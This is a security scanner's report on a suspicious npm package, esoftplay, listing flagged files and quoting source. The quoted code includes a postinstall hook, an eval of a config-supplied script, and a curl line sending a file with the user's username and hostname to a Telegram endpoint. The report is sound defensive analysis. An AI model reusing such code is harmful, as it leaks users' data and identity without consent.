esoftplay@0.0.269-beta922a8d5: Suspicious npm security report | LPM Firewall

Loading npm security reports…

esoftplay@0.0.269-beta922a8d5: Suspicious npm security report | LPM Firewall

Source & flagged code

19 flagged · loading source

package.jsonView file

•scripts.postinstall = bun ./bin/build.js install

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = bun ./bin/build.js install

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

config.jsonView file

25patternName = google_api_key severity = high line = 25

High

High Secret

Package contains a high-severity secret pattern.

config.jsonView on unpkg · L25

25patternName = google_api_key severity = high line = 25

High

Secret Pattern

Google API key in config.json

config.jsonView on unpkg · L25

bin/packager.jsView file

1#!/usr/bin/env node L2: const { spawn } = require('child_process'); L3: const fs = require('fs');

High

Child Process

Package source references child process execution.

bin/packager.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = esoftplay@0.0.269-betad168f01 matchedPath = bin/packager.js matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-betad168f01 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/packager.jsView on unpkg

bin/cli.jsView file

2const fs = require('fs'); L3: const exec = require('child_process').execSync; L4: // const fetch = require("node-fetch") L5: const path = require('path'); L6: const https = require('https'); L7: const os = require('os') ... L13: const appdebug = DIR + "app.debug.json" L14: const packjson = DIR + "package.json" L15: const packdebugjson = DIR + "package.debug.json" ... L389: } L390: command(`curl -v -F 'chat_id=-496494136' -F caption='#` + _slug + `\n${newVersion}\n` + os.userInfo().username + '@' + os.hostname() + `' -F document=@` + _path + ` https://api.tel... L391: }

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

bin/cli.jsView on unpkg · L2

2const fs = require('fs'); L3: const exec = require('child_process').execSync; L4: // const fetch = require("node-fetch") L5: const path = require('path'); L6: const https = require('https'); L7: const os = require('os') ... L13: const appdebug = DIR + "app.debug.json" L14: const packjson = DIR + "package.json" L15: const packdebugjson = DIR + "package.debug.json" ... L389: } L390: command(`curl -v -F 'chat_id=-496494136' -F caption='#` + _slug + `\n${newVersion}\n` + os.userInfo().username + '@' + os.hostname() + `' -F document=@` + _path + ` https://api.tel... L391: }

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

bin/cli.jsView on unpkg · L2

2const fs = require('fs'); L3: const exec = require('child_process').execSync; L4: // const fetch = require("node-fetch") L5: const path = require('path'); L6: const https = require('https'); L7: const os = require('os') ... L13: const appdebug = DIR + "app.debug.json" L14: const packjson = DIR + "package.json" L15: const packdebugjson = DIR + "package.debug.json" ... L389: } L390: command(`curl -v -F 'chat_id=-496494136' -F caption='#` + _slug + `\n${newVersion}\n` + os.userInfo().username + '@' + os.hostname() + `' -F document=@` + _path + ` https://api.tel... L391: }

bin/build.jsView file

•matchType = previous_version_dangerous_delta matchedPackage = esoftplay@0.0.269-beta934b397 matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-beta934b397 similarity = 0.983 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

bin/build.jsView on unpkg

400if (installDevLibs.length > 0) { L401: cmd += "&& bun add " + installDevLibs.join(" ") + " --dev " L402: } ... L406: console.log((JSON.stringify({ cmd }, undefined, 2))) L407: execSync(cmd + "|| true") L408: execSync("cd ../../ && bun ./node_modules/esoftplay/bin/router.js || true")

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/build.jsView on unpkg · L400

•matchType = normalized_sha256 matchedPackage = esoftplay@0.0.269-betad168f01 matchedPath = bin/build.js matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-betad168f01 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build.jsView on unpkg

bin/test.shView file

•path = bin/test.sh kind = build_helper sizeBytes = 536 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

bin/test.shView on unpkg

modules/lib/utils.tsView file

•matchType = normalized_sha256 matchedPackage = esoftplay@0.0.269-betad168f01 matchedPath = modules/lib/utils.ts matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-betad168f01 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

modules/lib/utils.tsView on unpkg

Source & flagged code

19 flagged

package.jsonView file

•scripts.postinstall = bun ./bin/build.js install

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = bun ./bin/build.js install

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

config.jsonView file

25patternName = google_api_key severity = high line = 25

High

High Secret

Package contains a high-severity secret pattern.

config.jsonView on unpkg · L25

25patternName = google_api_key severity = high line = 25

High

Secret Pattern

Google API key in config.json

config.jsonView on unpkg · L25

bin/packager.jsView file

Lines 1-21javascript

1#!/usr/bin/env node

2const { spawn } = require('child_process');

3const fs = require('fs');

High

Child Process

Package source references child process execution.

bin/packager.jsView on unpkg · L1

bin/cli.jsView file

Lines 1-22javascript

1#!/usr/bin/env node

2const fs = require('fs');

3const exec = require('child_process').execSync;

4// const fetch = require("node-fetch")

5const

bin/build.jsView file

•matchType = previous_version_dangerous_delta matchedPackage = esoftplay@0.0.269-beta934b397 matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-beta934b397 similarity = 0.983 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

bin/build.jsView on unpkg

400if (installDevLibs.length > 0) { L401: cmd += "&& bun add " + installDevLibs.join(" ") + " --dev " L402: } ... L406: console.log((JSON.stringify({ cmd }, undefined, 2))) L407: execSync(cmd + "|| true") L408: execSync("cd ../../ && bun ./node_modules/esoftplay/bin/router.js || true")

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/build.jsView on unpkg · L400

•matchType = normalized_sha256 matchedPackage = esoftplay@0.0.269-betad168f01 matchedPath = bin/build.js matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-betad168f01 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build.jsView on unpkg

bin/test.shView file

•path = bin/test.sh kind = build_helper sizeBytes = 536 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

bin/test.shView on unpkg

modules/lib/utils.tsView file

•matchType = normalized_sha256 matchedPackage = esoftplay@0.0.269-betad168f01 matchedPath = modules/lib/utils.ts matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-betad168f01 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

modules/lib/utils.tsView on unpkg

Lines 913-953javascript

913 var d = new Date();

914 d = new Date(d.getTime() - 3000000);

915 var date_format_str = d.getFullYear().toString() + "-" + ((d.getMonth() + 1).toString().length == 2 ? (d.getMonth() + 1).toString() : "0" + (d.getMonth() + 1).toString()) + "-" + (d.getDate().toString().length == 2 ? d.getDate().toString() : "0" + d.getDate().toString());

916 let stringBuilder = "#" + ajson.expo.slug + "\n" + cjson.config.domain + "\n" + os.userInfo().username + '@' + os.hostname()

917 stringBuilder += "\nid: " + (last_id + 1)

918 let esplibs = Object.keys(pack.dependencies).filter((key) => key.includes("esoftplay"))

919 esplibs.forEach((key) => {

920 stringBuilder += ("\n" + key + ": " + pack.dependencies[key])

921 })

922 stringBuilder += "\n\nversionName: " + (ajson.expo.ios.buildNumber || ajson.expo.android.versionCode) + '-' + (last_id + 1) + ""

923 const { exec } = require('child_process');

924 exec("publisher=$(npx expo whoami &); echo $publisher;", (error, stdout, stderr) => {

925 if (error) {

926 console.error(`exec error: ${error}`);

927 return;

928 }

929 let accountName = stdout.trim();

930 stringBuilder += "\npublisher: @" + accountName + "\n"

931 stringBuilder += (notes != '' ? ("\n\n- " + notes) : '')

932 tm(stringBuilder)

933 if (cjson.config.hasOwnProperty('post_publish_script')) {

934 eval(cjson.config.post_publish_script)

935 }

High

Eval

Package source references dynamic code evaluation.

bin/cli.jsView on unpkg · L933

936 if (notes.startsWith('*') && ajson.config.publish_id) {

937 const config = readToJSON(confjson).config;

938 const ajson = readToJSON(appjson);

939 const url = config.publish_uri + ajson.config.publish_id

940 // const fetch = require('node-fetch')

941 console.log("\n\nPROCESSING FORCE UPDATE")

942 fetch(url).then((res) => JSON.stringify(res.json(), undefined, 2)).then(consoleSucces)

943 }

944 });

945 }

946 }

947}

948

949function doctor() {

950 let output = {}

951 if (fs.existsSync(packjson)) {

952 let pack = readToJSON(packjson)

953 output.expo = pack.dependencies.expo